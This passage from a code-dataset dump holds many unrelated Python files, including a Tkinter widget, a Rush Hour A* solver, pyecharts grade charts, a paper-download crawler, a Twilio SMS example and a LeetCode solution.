salah')\r\n time.sleep(3)\r\n login()\r\n\r\n trf()\r\n menu()\r\n elif pilih == '4':\r\n print('Sisa saldo anda adalah Rp ', akun[rekening][1])\r\n menu()\r\n elif pilih == 'Q' or pilih == 'q':\r\n login()\r\n else:\r\n menu()\r\n\r\n menu()\r\nlogin()\r\n","sub_path":"program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"216394860","text":"#!/usr/bin/env python\n# -*- encoding: UTF-8 -*-\n\n# Copyright Skyscape Cloud Services\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom collections import defaultdict\nfrom collections import namedtuple\nimport contextlib\nimport itertools\nimport tempfile\nimport operator\nimport os.path\nimport warnings\n\nimport pkg_resources\n\n\ndef find_xpath(xpath, tree, namespaces={}, **kwargs):\n \"\"\"\n Find elements within an XML tree whose attributes match certain\n values.\n\n :param xpath: an xpath query string.\n :param tree: `xml.etree.ElementTree` object.\n :param namespaces: a dictionary of namespace prefixes.\n :param kwargs: specifies attribute values to filter by.\n\n :return: An iterator over valid elements.\n \"\"\"\n elements = tree.iterfind(xpath, namespaces=namespaces)\n if not kwargs:\n return elements\n else:\n query = set(kwargs.items())\n return (i for i in elements if query.issubset(set(i.attrib.items())))\n\n\ndef group_by_type(items):\n \"\"\"\n Group a sequence of items by the type of item.\n\n :return: A dictionary of lists. Keys in the dictionary are types.\n \"\"\"\n return defaultdict(\n list,\n {k: list(v) for k, v in itertools.groupby(items, key=type)}\n )\n\n\ndef plugin_interface(key=\"maloja.plugin\"):\n for i in pkg_resources.iter_entry_points(key):\n try:\n ep = i.resolve()\n except Exception as e:\n continue\n else:\n yield (i.name, ep)\n\n\n@contextlib.contextmanager\ndef record(nameOrStream, parent=None, suffix=\".yaml\"):\n if isinstance(nameOrStream, str):\n fD, fN = tempfile.mkstemp(suffix=suffix, dir=parent)\n try:\n rv = open(fN, 'w')\n yield rv\n except Exception as e:\n raise e\n rv.close()\n os.close(fD)\n os.rename(fN, os.path.join(parent, nameOrStream))\n else:\n yield nameOrStream\n","sub_path":"maloja/workflow/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"408103844","text":"# -*- coding: utf-8 -*-\nfrom Tkinter import Tk, Frame, Scale\n\n\nclass TimeBase(Frame):\n \"\"\"controleur pour la base de temps\n\n scale : controle de la valeur de la base de temps\n \"\"\"\n def __init__(self, parent=None):\n \"\"\" initialisation\n\n parent : oscilloscope\n \"\"\"\n Frame.__init__(self)\n self.configure(bd=1, relief=\"sunken\")\n self.parent = parent\n self.scale = Scale(self, length=300, orient=\"horizontal\",\n label=\"Temps\", showvalue=1, from_=1, to=10,\n tickinterval=1, command=self.update_time_base)\n self.scale.pack(expand=\"yes\", fill=\"both\")\n\n def get_time(self):\n \"\"\"valeur courante de la base de temps\"\"\"\n return self.scale.get()\n\n def update_time_base(self, event):\n \"\"\"mise a jour de la base de temps\"\"\"\n #print(\"TimeBase.update_time_base()\")\n #print(\"Base de temps : \", self.scale.get())\n if not isinstance(self.parent, Tk):\n self.parent.update_time(self.scale.get())\n\n\nif __name__ == \"__main__\":\n root = Tk()\n TimeBase(root).pack()\n root.mainloop()\n","sub_path":"sujet1/Oscillo_Final/timebase.py","file_name":"timebase.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"241771852","text":"#GNPbho001\r\n#actsci\r\ndef encrypt(string,y):\r\n if len(string)==0:\r\n return print(\"Encrypted message:\\n\"+y) \r\n else:\r\n if 97<=ord(string[0])<122: #refer to pyhton mru pg 50\r\n z=ord(string[0])\r\n y=y+chr(z+1)\r\n encrypt(string[1:],y)\r\n else:\r\n y+=string[0]\r\n encrypt(string[1:],y)\r\n \r\nanything=input(\"Enter a message:\\n\")\r\nencrypt(anything,\"\")\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n","sub_path":"examples/data/Assignment_8/gnpbho001/question3.py","file_name":"question3.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"185004834","text":"import yaml\nimport glob\n\ndef represent_none(self, _):\n return self.represent_scalar('tag:yaml.org,2002:null', '')\n\n# Ensure that nulls are not dumped to yaml\nyaml.add_representer(type(None), represent_none)\n\nmodel_meta_files = glob.glob('models/*model*yaml')\n\nmodels = [{'MaaS-Models':[]}]\nvariables = [{'MaaS-Variables': []}]\nparameters = [{'MaaS-Parameters': []}]\n\nfor m in model_meta_files:\n with open(m, 'r') as stream:\n model = yaml.safe_load(stream)\n \n node = {'OntologyNode': None,\n 'name': model['id'],\n 'examples': [model['description'].replace('\\n','')],\n 'polarity': 1.0\n }\n\n models[0]['MaaS-Models'].append(node) \n \n for var in model['outputs']:\n node = {'OntologyNode': None,\n 'name': var['name'],\n 'model': model['id'], \n 'examples': [var['description'].replace('\\n','')],\n 'polarity': 1.0\n }\n \n variables[0]['MaaS-Variables'].append(node) \n \n if 'parameters' in model:\n for param in model['parameters']:\n node = {'OntologyNode': None,\n 'name': param['name'],\n 'model': model['id'],\n 'examples': [param['description'].replace('\\n','')],\n 'polarity': 1.0\n }\n\n parameters[0]['MaaS-Parameters'].append(node) \n\nff = open('ontologies/MaaS-model-ontology.yaml', 'w+')\nyaml.dump(models, ff, allow_unicode=True)\n\nff = open('ontologies/MaaS-variable-ontology.yaml', 'w+')\nyaml.dump(variables, ff, allow_unicode=True)\n\nff = open('ontologies/MaaS-parameter-ontology.yaml', 'w+')\nyaml.dump(parameters, ff, allow_unicode=True)","sub_path":"metadata/Metadata-to-Ontologies.py","file_name":"Metadata-to-Ontologies.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"56009959","text":"# Download the helper library from https://www.twilio.com/docs/python/install\nfrom twilio.rest import Client\n\n\n# Your Account Sid and Auth Token from twilio.com/console\naccount_sid = 'AC4e30ba292bcf6fc97ca656aa71b34bc6'\nauth_token = 'your_auth_token'\nclient = Client(account_sid, auth_token)\n\nmessage = client.messages.create(\n from_='+15017122661',\n body='body',\n to='+15558675310'\n )\n\nprint(message.sid)\n\n\ndef send_sms(text):\n account_sid = 'AC895a5c891d21dd10b660afd9e919e39'\n auth_token = 'your_auth_token'\n client = Client(account_sid, auth_token)\n\n message = client.messages.create(\n from_='your_from_num',\n body=text,\n to='your_to_num'\n )\n print(message.sid)","sub_path":"msm/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"646435305","text":"\"\"\" STATE DESCRIPTION\nEach state is a list of vehicles of the same format as input format.\n\nSTATE TRANSITIONS (MOVES)\nTransitions (moves) are represented as a string consisting of two characters:\n - a number equal to the index of the car that is about to be moved\n - a letter indicating the direction of the move (N,S,W,E)\n\nEXTERNAL LIBRARIES\n - Matplotlib for visualizing the data\n\"\"\"\n\n# **** DECLARATIONS AND PARAMETERS ****\nfrom module1 import AStar2\nimport numpy as np\nimport time\n\nLEVEL = \"expert-33.txt\"\nSEARCH_MODE = 'A*' # Alternatives: 'A*', 'bfs', 'dfs'\nDISPLAY_MODE = True\nDISPLAY_PROGRESS = False\nPRINTING_MODE = False\nDISPLAY_SPEED = 0.1 # seconds between each update of the visualization\nDISPLAY_PROGRESS_SPEED = 0.001 # seconds between each update of the visualization\n\nBOARD_SIZE = 6\nEXIT_X = 5\nEXIT_Y = 2\n\nif DISPLAY_MODE or DISPLAY_PROGRESS:\n import matplotlib.pyplot as plt\n import matplotlib.cbook\n\n # Remove annoying warning from matplotlib.animation\n import warnings\n warnings.filterwarnings(\"ignore\", category=matplotlib.cbook.mplDeprecation)\n\n IMAGE = plt.imshow(np.zeros((BOARD_SIZE, BOARD_SIZE)), interpolation='nearest', vmin=0, vmax=13)\n\n\n# **** OVERRIDING MODULE CONSTANTS ****\nAStar2.SEARCH_MODE = SEARCH_MODE\nAStar2.DISPLAY_MODE = DISPLAY_MODE\nAStar2.DISPLAY_PROGRESS = DISPLAY_PROGRESS\nAStar2.PRINTING_MODE = PRINTING_MODE\nAStar2.DISPLAY_SPEED = DISPLAY_SPEED\nAStar2.DISPLAY_PROGRESS_SPEED = DISPLAY_PROGRESS_SPEED\nAStar2.BOARD_SIZE = BOARD_SIZE\nAStar2.EXIT_X = EXIT_X\nAStar2.EXIT_Y = EXIT_Y\n\n\ndef read_board_from_file(input_file):\n with open('./data/' + input_file, 'r') as f:\n raw_board = f.readlines()\n return raw_board\n\n\ndef init_vehicles():\n print(\"\\n************************************\\n************************************\\nLevel: \" + str(LEVEL))\n vehicles_strings = read_board_from_file(LEVEL)\n vehicles_nonintegers = [vehicles_strings[i].split(\",\") for i in range(len(vehicles_strings))]\n\n for car in vehicles_nonintegers:\n if len(car[-1]) > 1:\n car[-1] = car[-1][0]\n\n vehicles = [[int(i) for i in car] for car in vehicles_nonintegers]\n return vehicles\n\n\n# We have used two representations of the states. This method converts the state from one representation to another:\n# 1) One equal to the list of vehicles given in the input files\n# 2) One equal to the visual representation of the game\ndef from_vehicles_to_board(vehicles):\n # Initialize new stuff\n board = [[\" \" for j in range(BOARD_SIZE)] for i in range(BOARD_SIZE)]\n letters = range(0, len(vehicles))\n\n # Transform car data to readable board\n for car in vehicles:\n if car[0] == 0: # Horizontal case\n\n for i in range(car[-1]):\n if (car[1] + i) <= BOARD_SIZE - 1:\n board[car[2]][car[1] + i] = letters[0]\n\n elif car[0] == 1: # Vertical case\n for i in range(car[-1]):\n if (car[2] + i) <= BOARD_SIZE - 1:\n board[car[2] + i][car[1]] = letters[0]\n\n # If car is not vertically or horizontally, we have a problem...\n else:\n print(\"Error\")\n\n # We want every letter to only be assigned to a single vehicle\n letters = letters[1:]\n\n return board\n\n\n# Prints a board to the terminal\ndef print_board(board):\n print('\\n ' + ' '.join([str(i) for i in range(BOARD_SIZE)]))\n print(\" ---------------\")\n\n for j in range(BOARD_SIZE):\n temp_string = str(j) + \"| \"\n for i in range(BOARD_SIZE):\n temp_string += str(board[j][i]) + \" \"\n if (j == 2):\n temp_string += \"| <--- EXIT\"\n else:\n temp_string += \"|\"\n print(temp_string)\n print(\" ---------------\\n\")\n\n\ndef adapt_board_for_visualization(board):\n for n in range(BOARD_SIZE):\n for i in range(BOARD_SIZE):\n if board[n][i] == ' ':\n board[n][i] = np.NaN\n if board[n][i] == 0:\n board[n][i] = 12 # change vehicle id before drawing to get a very different color\n return board\n\n\ndef animate_solution(moves, state=None):\n plt.title('Rush Hour ** SOLUTION ** simulation')\n vehicles = init_vehicles()\n solution_nodes = []\n for m in moves:\n vehicles = move(vehicles, m)\n solution_nodes.append(vehicles)\n\n for node in solution_nodes:\n board = from_vehicles_to_board(node)\n board = adapt_board_for_visualization(board)\n IMAGE.set_data(board)\n plt.pause(DISPLAY_SPEED)\n\n\n# *** Problem dependent ***\n# If the move is legal, do the move\ndef move(vehicles, move):\n # Interpreting the move\n if (len(move) == 3):\n vehicle = int(move[:-1])\n direction = move[-1]\n elif (len(move) == 2):\n vehicle = int(move[0])\n direction = move[1]\n elif (len(move) == 1):\n print(\"AN ERROR OCCURED 2\")\n return vehicles\n\n # Checking whether the move is legal or not\n if is_legal_move(from_vehicles_to_board(vehicles), move, vehicles):\n\n # If it is, do the move\n vehicles_mod = [x[:] for x in vehicles]\n if (direction == \"N\"):\n vehicles_mod[vehicle][2] -= 1\n elif (direction == \"S\"):\n vehicles_mod[vehicle][2] += 1\n elif (direction == \"W\"):\n vehicles_mod[vehicle][1] -= 1\n elif (direction == \"E\"):\n vehicles_mod[vehicle][1] += 1\n\n return vehicles_mod\n return vehicles\n\n\n# The logic of this method is fairly simple. A move is legal if certain characteristics are present:\n# - The move must be horizontal or vertical\n# - The post-move state must not have out-of-the-board vehicles\n# - The post-move state must not have multiple vehicles in a certain board cell\ndef is_legal_move(board, move, vehicles):\n if (len(move) == 3):\n vehicle = int(move[:-1])\n direction = move[-1]\n elif (len(move) == 2):\n vehicle = int(move[0])\n direction = move[1]\n else:\n print(\"AN ERRROR OCCURED\")\n print(move)\n return False\n\n # Horizontal case\n if vehicles[vehicle][0] == 0 and (direction == \"W\" or direction == \"E\"):\n if (direction == \"W\"):\n if (vehicles[vehicle][1] > 0):\n return board[vehicles[vehicle][2]][vehicles[vehicle][1] - 1] == \" \"\n return False\n elif (direction == \"E\"):\n if (move[0] == \"0\" and vehicles[0][2] == 2 and vehicles[0][1] >= BOARD_SIZE - 2): # EXIT\n return True\n elif (vehicles[vehicle][1] < BOARD_SIZE - vehicles[vehicle][3]):\n return board[vehicles[vehicle][2]][vehicles[vehicle][1] + vehicles[vehicle][3]] == \" \"\n return False\n return False\n\n # Vertical case\n elif (vehicles[vehicle][0] == 1 and (direction == \"N\" or direction == \"S\")):\n\n if (direction == \"N\"):\n if (vehicles[vehicle][2] > 0):\n return board[vehicles[vehicle][2] - 1][vehicles[vehicle][1]] == \" \"\n return False\n elif (direction == \"S\"):\n if (vehicles[vehicle][2] < BOARD_SIZE - vehicles[vehicle][3]):\n return board[vehicles[vehicle][2] + vehicles[vehicle][3]][vehicles[vehicle][1]] == \" \"\n return False\n return False\n else:\n return False\n\n\n# *** Problem dependent ***\n# Checks whether a certain state is the target state or not\ndef is_finished_state(vehicles):\n return vehicles[0][2] == 2 and vehicles[0][1] == BOARD_SIZE - 2 # Car-0 is in exit position\n\n\ndef animate_progress(current_state):\n plt.title('Rush Hour PROGRESS simulation')\n board = from_vehicles_to_board(current_state)\n board = adapt_board_for_visualization(board)\n IMAGE.set_data(board)\n plt.pause(DISPLAY_PROGRESS_SPEED) # seconds between each update of the visualization\n\n\n# *** Problem dependent ***\n# Returns all possible neighbor states and which move that has been done to get there\ndef generate_successors(current_state, moves=None):\n candidate_moves = [\"N\", \"E\", \"S\", \"W\"]\n successors = []\n how_to = {}\n\n # Tests if each potential move is legal for each vehicle\n for i in range(len(current_state)):\n for m in candidate_moves:\n if is_legal_move(from_vehicles_to_board(current_state[:]), str(i) + m, current_state[:]):\n successor = move([k[:] for k in current_state], str(i) + m)\n successors.append(successor)\n how_to[str(i) + m] = successor\n return successors, how_to\n\n\n# *** Problem dependent ***\n# Computing the heuristic cost of a certain state: One step for each (5 - car0.x) and one for each car blocking the exit\ndef estimate_cost(vehicles):\n if SEARCH_MODE in [\"dfs\", \"bfs\"]:\n return 0\n\n # else, for 'A*':\n board = from_vehicles_to_board(vehicles)\n cost = BOARD_SIZE - vehicles[0][1] - 1\n for i in range(BOARD_SIZE - vehicles[0][1]):\n cost += 1 if board[2][i] not in [\"A\", \" \"] else 0\n return cost\n\n\n# **** OVERRIDING MODULE FUNCTIONS ****\nAStar2.is_finished_state = is_finished_state\nAStar2.estimate_cost = estimate_cost\nAStar2.generate_successors = generate_successors\nAStar2.animate_solution = animate_solution\nAStar2.animate_progress = animate_progress\n\n\nif __name__ == '__main__':\n\n # Initializing the program\n start_time = time.time()\n vehicles = init_vehicles()\n\n # Run A* algorithm\n best_cost_development, number_of_open_nodes_development = AStar2.astar(vehicles)\n\n if PRINTING_MODE:\n print(\"\\n\\nDevelopment of best cost: \" + str(best_cost_development))\n print(\"Development of number of open nodes: \" + str(number_of_open_nodes_development))\n\n print('Running time:', time.time() - start_time)\n","sub_path":"module1/RushHour2.py","file_name":"RushHour2.py","file_ext":"py","file_size_in_byte":9733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"353428733","text":"#!/bin/bash/evn python\n# encoding=utf-8\n\"\"\"\n@file:log.py\n@time:5/18/20|3:08 PM\n\"\"\"\n\nimport sys\nimport logging\n\nfrom settings import LOG_FMT, LOG_DATEFMT, LOG_FILENAME, LOG_LEVEL\n\n\nclass Logger(object):\n\n\tdef __init__(self):\n\t\tself._logger = logging.getLogger()\n\t\tself.formatter = logging.Formatter(fmt=LOG_FMT, datefmt=LOG_DATEFMT)\n\t\tself._logger.addHandler(self._get_file_handler(LOG_FILENAME))\n\t\tself._logger.addHandler(self._get_console_handler())\n\t\tself._logger.setLevel(LOG_LEVEL)\n\n\tdef _get_file_handler(self, filename):\n\t\tfilehandler = logging.FileHandler(filename=filename, encoding='utf-8')\n\t\tfilehandler.setFormatter(self.formatter)\n\t\treturn filehandler\n\n\tdef _get_console_handler(self):\n\t\tconsole_handler = logging.StreamHandler(sys.stdout)\n\t\tconsole_handler.setFormatter(self.formatter)\n\t\treturn console_handler\n\n\t@property\n\tdef logger(self):\n\t\treturn self._logger\n\n\nlogger = Logger().logger\nif __name__ == '__main__':\n\tlogger.debug('debug')\n\tlogger.info('info')\n\tlogger.warning('warning ')\n\tlogger.error('error')\n\tlogger.critical('critical')\n","sub_path":"utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"378541775","text":"from pyecharts.charts import Bar, Pie\nfrom pyecharts import options as opts\nfrom app.models import *\nfrom pyecharts.globals import ThemeType\nimport Subject\nimport Level\n\n\ndef test_grade_distributed(test_time: int) -> list:\n grades = StudentGrade.query.filter_by(test_time=test_time, subject='理科').all()\n result = [{} for _ in range(15)]\n\n for subject in Subject.li_all_subject(False):\n scores = [grade.grade_dict()[subject] for grade in grades]\n for i in range(15):\n result[14 - i][subject] = len([_ for _ in scores if i * 10 < _ < i * 10 + 10])\n\n for i in range(15):\n result[14 - i]['key'] = '{}分—{}分段'.format(i * 10, i * 10 + 10)\n return result\n\n\ndef test_grade_distributed_chart(test_time: int, subject: str = 'total') -> Bar:\n if subject != 'total':\n data = test_grade_distributed(test_time)\n else:\n totals = [_[0] for _ in db.session.query(StudentGrade.total).filter_by(\n test_time=test_time, subject='理科').all()]\n data = [{} for _ in range(50)]\n for i in range(50):\n data[49 - i]['key'] = '{}分-{}分段'.format(i * 15, i * 15 + 15)\n data[49 - i]['total'] = len([_ for _ in totals if i * 15 < _ < i * 15 + 15])\n bar = (\n Bar(init_opts=opts.InitOpts(theme=ThemeType.VINTAGE))\n .add_yaxis('人数', [_[subject] for _ in data])\n .add_xaxis([d['key'] for d in data])\n .set_global_opts(\n xaxis_opts=opts.AxisOpts(\n axislabel_opts=opts.LabelOpts(\n rotate=-15\n )\n ),\n yaxis_opts=opts.AxisOpts(\n name='人数',\n axislabel_opts=opts.LabelOpts(\n formatter='{value}人'\n )\n ),\n datazoom_opts=[opts.DataZoomOpts(type_='slider',\n range_start=5, range_end=55),\n opts.DataZoomOpts(type_=\"inside\")],\n legend_opts=opts.LegendOpts(is_show=False),\n title_opts=opts.TitleOpts(title='{}分数段分数'.format(subject), pos_left='47.5%')\n )\n )\n return bar\n\n\ndef test_avg_grade_compare(test_time: int) -> dict:\n \"\"\"\n :param test_time:\n :return: charts:{subject:chart,,,} example:{'english':chart1,'chinese':chart2,,,}\n \"\"\"\n result = {}\n avg_grades = ClassAverageGrade.query.filter_by(\n test_time=test_time, subject='理科').order_by(ClassAverageGrade.class_index).all()\n test_avg_grade = TestAverageGrade.query.filter_by(test_time=test_time, subject='理科').first()\n for subject in Subject.li_all_subject():\n avg = test_avg_grade.grade_dict()[subject]\n chart = (\n Bar(init_opts=opts.InitOpts(theme=ThemeType.VINTAGE))\n .add_xaxis(['{}班'.format(i + 1) for i in range(17)])\n .add_yaxis('平均分', [round(ag.grade_dict()[subject], 1)\n for ag in avg_grades], yaxis_index=0)\n .add_yaxis('平均分差', [round(ag.grade_dict()[subject] - avg, 1)\n for ag in avg_grades], yaxis_index=1,\n )\n .set_global_opts(\n yaxis_opts=opts.AxisOpts(\n name='均分',\n axislabel_opts=opts.LabelOpts(\n formatter='{value}分'\n )\n ),\n xaxis_opts=opts.AxisOpts(\n axisline_opts=opts.AxisLineOpts(\n on_zero_axis_index=1\n )\n ),\n datazoom_opts=[\n opts.DataZoomOpts(type_='slider', range_start=5, range_end=55),\n opts.DataZoomOpts(type_='inside')\n ],\n title_opts=opts.TitleOpts(title='各班{}均分对比图'.format(Subject.en2cn(subject)))\n\n )\n .extend_axis(\n yaxis=opts.AxisOpts(\n name='均分差',\n axislabel_opts=opts.LabelOpts(\n formatter='{value}分'\n )\n )\n )\n )\n result[subject] = chart\n return result\n\n\ndef test_student_distributed(test_time: int) -> Bar:\n grades = StudentGrade.query.filter_by(test_time=test_time, subject='理科').all()\n count_student = len(grades)\n data = {'C': [], 'C+': [], 'B': [], 'B+': [], 'A': [], 'A+': []}\n for i in range(1801, 1818):\n for key, value in data.items():\n value.append(None)\n work_grades = [g for g in grades if g.class_index == i]\n for grade in work_grades:\n if data[grade.get_this_level(count_student)][i - 1801] is None:\n data[grade.get_this_level(count_student)][i - 1801] = 1\n else:\n data[grade.get_this_level(count_student)][i - 1801] += 1\n bar = (\n Bar(init_opts=opts.InitOpts(theme=ThemeType.VINTAGE))\n .add_xaxis(['{}班'.format(i + 1) for i in range(17)])\n .set_global_opts(\n datazoom_opts=[\n opts.DataZoomOpts(type_='slider', range_start=5, range_end=75),\n opts.DataZoomOpts(type_='inside')\n ],\n yaxis_opts=opts.AxisOpts(\n axislabel_opts=opts.LabelOpts(\n formatter='{value}人'\n )\n ),\n title_opts=opts.TitleOpts(\n title='学生构成分析',\n subtitle=Level.get_level_description(),\n subtitle_textstyle_opts=opts.TextStyleOpts(\n font_size=14\n )\n )\n )\n )\n for key, value in data.items():\n bar.add_yaxis(key, value, stack=\"stack1\")\n bar.set_series_opts(\n label_opts=opts.LabelOpts(\n position='inside'\n )\n )\n return bar\n\n\ndef test_high_grade_distributed(test_time: int) -> Pie:\n grades = StudentGrade.query.filter_by(\n test_time=test_time, subject='理科').order_by(\n StudentGrade.total.desc()).limit(100).all()\n data = {}\n for i in [g.class_index for g in grades]:\n if data.get(i):\n data[i] += 1\n else:\n data[i] = 1\n pie = (\n Pie(init_opts=opts.InitOpts(theme=ThemeType.VINTAGE))\n .add('', [list(z) for z in zip(data.keys(), data.values())])\n .set_global_opts(\n title_opts=opts.TitleOpts(\n title='总分前 100名',\n ),\n legend_opts=opts.LegendOpts(\n is_show=False\n ),\n tooltip_opts=opts.TooltipOpts(\n formatter='{b}班:{c}人'\n )\n )\n )\n return pie\n","sub_path":"AnalysisData/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"617812089","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alunos', '0038_auto_20150928_1547'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='StudentStatus',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ],\n ),\n migrations.AlterField(\n model_name='student',\n name='status',\n field=models.ForeignKey(verbose_name=b'Status do Aluno', to='alunos.StudentStatus'),\n ),\n ]\n","sub_path":"Documentos/Sistema Cadastro/alunosprojeto/alunos/migrations/0039_auto_20150928_1618.py","file_name":"0039_auto_20150928_1618.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"560232938","text":"########################################\n# Crawler for CVPR2019\n# By Boss Liu: 774054270@qq.com\n########################################\n\nimport re\nimport os\n\ndef main():\n os.system(\"wget -q http://openaccess.thecvf.com/CVPR2019.py -O page\")\n f = open('./page', 'r')\n data = f.read()\n f.close() \n\n key = data\n p1 = r\"papers/(\\S+)\\\">pdf\"\n\n pattern1 = re.compile(p1,re.DOTALL)\n match = re.findall(pattern1,key)\n\n for (i,paper) in enumerate(match):\n print('Downloading the {}th paper: {}'.format(i,paper))\n os.system('wget -q http://openaccess.thecvf.com/content_CVPR_2019/papers/'+ match[i])\n\n os.system('rm page')\n\nif __name__ == \"__main__\":\n main()","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"509930161","text":"from azext_iot.central.models.v2022_06_30_preview.device import Device as DevicePreview\nfrom azext_iot.central.models.v2022_06_30_preview.query_response import (\n QueryResponse as QueryReponsePreview,\n)\nfrom azext_iot.central.models.v2022_06_30_preview.destination import (\n Destination as DestinationPreview,\n WebhookDestination as WebhookDestinationPreview,\n AdxDestination as AdxDestinationPreview,\n)\nfrom azext_iot.central.models.v2022_06_30_preview.export import Export as ExportPreview\nfrom azext_iot.central.models.v2022_06_30_preview.template import Template as TemplatePreview\n\n__all__ = [\n \"DevicePreview\",\n \"QueryReponsePreview\",\n \"DestinationPreview\",\n \"WebhookDestinationPreview\",\n \"AdxDestinationPreview\",\n \"ExportPreview\",\n \"TemplatePreview\",\n]\n","sub_path":"azext_iot/central/models/v2022_06_30_preview/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"254830939","text":"def load_analogy(fname = 'questions-words.txt', ncols = 4):\n data = {}\n key = None\n with open(fname) as fr:\n for line in fr:\n if line.startswith(': '):\n key = line[2:-1]\n data[key] = []\n else:\n toks = line[:-1].split()\n if len(toks) == ncols:\n data[key].append(toks)\n else:\n raise ValueError(line[:-1])\n return data\n\ndef write_analogy(fname, data):\n with open(fname, 'w') as fw:\n for key, analogies in data.items():\n fw.write(': %s\\n' % key)\n for analogy in analogies:\n fw.write(' '.join(analogy) + '\\n')\n\nif __name__ == \"__main__\":\n fa = load_analogy()['family']\n write_analogy('knock91.txt', {'family':fa})\n","sub_path":"zchen/chapter10/knock91.py","file_name":"knock91.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"632519678","text":"from django.conf.urls import patterns, include, url\nfrom agentapp import agent_views\nfrom apiconnectors import hotel_API, hotels_views\nfrom userprofile import user_profile_views\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\nurlpatterns = patterns('',\n #url(r^api/$, agentapp_agent_views.apiList.as_view()), #show api version list\n #url(r^api/(?P[0-9]+)/$, agentapp_agent_views.apiDetail.as_view(), name='api-detail'), #show api version list\n url(r'^users/$', user_profile_views.UserList.as_view()),\n url(r'^users/(?P[0-9]+)/$', user_profile_views.UserDetail.as_view(), name='user-detail'),\n url(r'^groups/$', user_profile_views.GroupList.as_view()),\n url(r'^groups/(?P[0-9]+)/$', user_profile_views.GroupDetail.as_view(), name='group-detail'),\n url(r'^packages/$', agent_views.PackageList.as_view()),\n url(r'^packages/(?P[0-9]+)/$', agent_views.PackageDetail.as_view(), name='newpackage-detail'),\n url(r'^created-packages/$', agent_views.CreatedPackageList.as_view()),\n url(r'^created-packages/(?P[0-9]+)/$', agent_views.CreatedPackageDetail.as_view(), name='createdpackage-detail'),\n url(r'^assigned-packages/$', agent_views.AssignedPackageList.as_view()),\n url(r'^assigned-packages/(?P[0-9]+)/$', agent_views.AssignedPackageDetail.as_view(), name='assignedpackage-detail'),\n url(r'^published-packages/$', agent_views.PublishedPackageList.as_view()),\n url(r'^published-packages/(?P[0-9]+)/$', agent_views.PublishedPackageDetail.as_view(), name='publishedpackage-detail'),\n url(r'^hotels/$', hotels_views.HotelList.as_view(), name='hotel-list'),\n url(r'^hotel-reservation/$', hotels_views.HotelReservation.as_view(), name='hotel-reservation'),\n url(r'^user-profile/', include('userprofile.urls')),\n )\nurlpatterns = format_suffix_patterns(urlpatterns)\n\n","sub_path":"agentapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"485170013","text":"# 给定一组不含重复元素的整数数组 nums,返回该数组所有可能的子集(幂集)。 \n# \n# 说明:解集不能包含重复的子集。 \n# \n# 示例: \n# \n# 输入: nums = [1,2,3]\n# 输出:\n# [\n# [3],\n#   [1],\n#   [2],\n#   [1,2,3],\n#   [1,3],\n#   [2,3],\n#   [1,2],\n#   []\n# ] \n# Related Topics 位运算 数组 回溯算法 \n# 👍 819 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def subsets(self, nums: List[int]) -> List[List[int]]:\n # 迭代法\n # 参考理解方式: https://leetcode.com/problems/subsets/discuss/27278/C%2B%2B-RecursiveIterativeBit-Manipulation\n res = [[],]\n for i in range(len(nums)):\n res += [[nums[i]] + j for j in res] # 这种方式要熟悉\n # for j in res:\n # res += [nums[i]] + j\n return res\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"leetcode/editor/cn/[78]子集.py","file_name":"[78]子集.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"362914377","text":"import numpy as np\nimport torch\n\nclass Discriminator(torch.nn.Module):\n def __init__(self, embedding_dim):\n super(Discriminator, 